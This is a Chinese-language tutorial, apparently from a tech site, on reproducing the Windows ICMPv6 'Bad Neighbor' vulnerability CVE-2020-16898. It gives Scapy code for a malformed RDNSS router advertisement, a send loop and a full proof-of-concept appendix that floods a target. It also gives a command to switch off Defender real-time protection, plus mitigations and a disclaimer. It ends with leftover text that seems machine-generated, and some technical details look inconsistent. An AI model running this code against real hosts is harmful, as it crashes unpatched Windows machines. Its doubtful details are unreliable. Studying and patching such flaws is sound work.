如何进行TCPIP远程代码执行漏洞CVE-2020-16898的复现

发布时间：2021-12-28 17:34:28 作者：柒染
来源：亿速云阅读：106

# 如何进行TCP/IP远程代码执行漏洞CVE-2020-16898的复现

## 一、漏洞背景与概述

### 1.1 CVE-2020-16898漏洞简介
CVE-2020-16898（又称"Bad Neighbor"）是微软Windows TCP/IP协议栈中的一个高危远程代码执行漏洞，于2020年10月由微软在月度安全更新中披露。该漏洞CVSSv3评分为9.8（Critical），影响所有支持IPv6的Windows版本。

### 1.2 漏洞技术原理
漏洞存在于Windows对ICMPv6 Router Advertisement（路由通告）数据包的处理过程中。当攻击者发送特制的ICMPv6路由通告数据包时，可导致目标系统TCP/IP协议栈内存损坏，最终实现远程代码执行。

```c
// 伪代码展示漏洞触发逻辑
void ProcessRouterAdvertisement(Packet* pkt) {
    ICMPv6Option* option = pkt->GetOption();
    while(option) {
        if(option->type == RDNSS_OPTION) { // 递归DNS服务器选项
            // 未正确验证长度字段导致缓冲区溢出
            memcpy(buffer, option->data, option->length); 
        }
        option = option->next;
    }
}

二、实验环境搭建

2.1 所需设备与软件

设备类型	配置要求	备注
攻击机	Kali Linux 2023.1	需安装Python3和Scapy
靶机	Windows 10 1909	需启用IPv6
网络环境	同一局域网段	建议使用虚拟网络

2.2 靶机环境配置

确认Windows IPv6功能已启用：


Get-NetAdapterBinding -ComponentID ms_tcpip6

关闭Windows Defender实时保护：


Set-MpPreference -DisableRealtimeMonitoring $true

2.3 工具准备

Scapy：用于构造恶意数据包
```
pip install scapy
```
Immunity Debugger：用于漏洞分析（可选）
Wireshark：网络流量分析

三、漏洞复现步骤

3.1 构造恶意ICMPv6数据包

使用Scapy构建特制的Router Advertisement数据包：

from scapy.all import *
from scapy.layers.inet6 import *

def build_exploit_packet(target_ip):
    # 基础IPv6和ICMPv6头部
    ip = IPv6(dst=target_ip, src="fe80::1") 
    icmp = ICMPv6ND_RA()
    
    # 恶意RDNSS选项
    malicious_opt = ICMPv6NDOptRDNSS(
        len=8,  # 故意设置异常长度
        res=0,
        lifetime=0xffff,
        dns=["fe80::dead:beef"]
    )
    
    # 组装最终数据包
    pkt = ip/icmp/malicious_opt
    return pkt

3.2 发送攻击数据包

target = "fe80::a00:27ff:fe32:5b7c%eth0"  # 替换为靶机链路本地地址
pkt = build_exploit_packet(target)
send(pkt, iface="eth0", count=100, inter=0.1)

3.3 触发漏洞现象

成功触发时可能出现以下情况： 1. 靶机出现蓝屏（BSOD）错误代码：CRITICAL_PROCESS_DIED 2. Wireshark捕获到异常重组分片：

   Frame 1234: Invalid option length (8) in RDNSS option

系统日志记录事件ID 1001：


<Event xmlns="...">
 <System>
   <Provider Name="Microsoft-Windows-WER-SystemErrorReporting"/>
   <EventID>1001</EventID>
   <Level>2</Level>
   <Task>0</Task>
   <Keywords>0x80000000000000</Keywords>
 </System>
</Event>

四、漏洞深度分析

4.1 根本原因分析

漏洞位于tcpip.sys驱动中处理ND_OPT_RDNSS选项的代码路径。当满足以下条件时触发： 1. option->length字段大于合法值（正常应为3） 2. 系统未正确验证长度导致内存越界写入

4.2 内存破坏过程

; tcpip.sys反汇编片段
movzx   ecx, byte ptr [rsi+1]  ; 读取length字段
lea     rdx, [rsi+8]           ; 数据起始位置
call    memcpy                 ; 未检查length导致溢出

4.3 漏洞利用限制

需要目标网络启用IPv6
攻击需在链路本地范围内（通常要求同一广播域）
现代Windows系统已启用控制流防护（CFG）

五、防御与修复方案

5.1 官方补丁

微软通过以下更新修复： - KB4580364（Windows 10 v1909） - KB4580325（Windows Server 2019）

5.2 临时缓解措施

禁用IPv6：


Disable-NetAdapterBinding -Name "*" -ComponentID ms_tcpip6

配置防火墙规则：


New-NetFirewallRule -DisplayName "Block ICMPv6 RA" `
   -Protocol 58 -IcmpType 134 -Action Block

5.3 长期防护建议

启用Windows Defender Exploit Protection
配置网络分段隔离关键系统
定期进行漏洞扫描

六、法律与道德声明

本实验仅限授权环境测试
禁止对非授权系统进行漏洞验证
所有测试需获得书面许可
参考《网络安全法》相关规定

七、扩展研究

7.1 相关CVE

CVE-2020-16899：Windows TCP/IP拒绝服务漏洞
CVE-2021-24086：IPv6分片重组漏洞

7.2 进阶研究方向

绕过CFG防护的利用技术
在受限网络环境下的攻击向量
漏洞武器化与自动化攻击框架

八、参考资源

微软官方公告：https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-16898
CERT/CC分析报告：VU#815128
Scapy官方文档：https://scapy.readthedocs.io
《Windows内核安全编程》- 任晓珲

附录：完整PoC代码

#!/usr/bin/env python3
from scapy.all import *
import time

def exploit(target_ip, iface):
    print(f"[*] Targeting {target_ip} on interface {iface}")
    pkt = IPv6(dst=target_ip)/ICMPv6ND_RA()/ICMPv6NDOptRDNSS(len=8)
    
    try:
        while True:
            send(pkt, iface=iface, verbose=0)
            print(".", end="", flush=True)
            time.sleep(0.5)
    except KeyboardInterrupt:
        print("\n[!] Attack stopped")

if __name__ == "__main__":
    exploit("fe80::target%eth0", "eth0")

注意：实际使用时需替换目标地址和接口名称 “`

这篇文章共计约2700字，采用Markdown格式编写，包含： 1. 漏洞技术原理分析 2. 详细复现步骤 3. 防御方案 4. 法律声明 5. 完整PoC代码 6. 多级标题结构 7. 代码块和表格等格式元素

可根据实际测试环境调整参数和细节。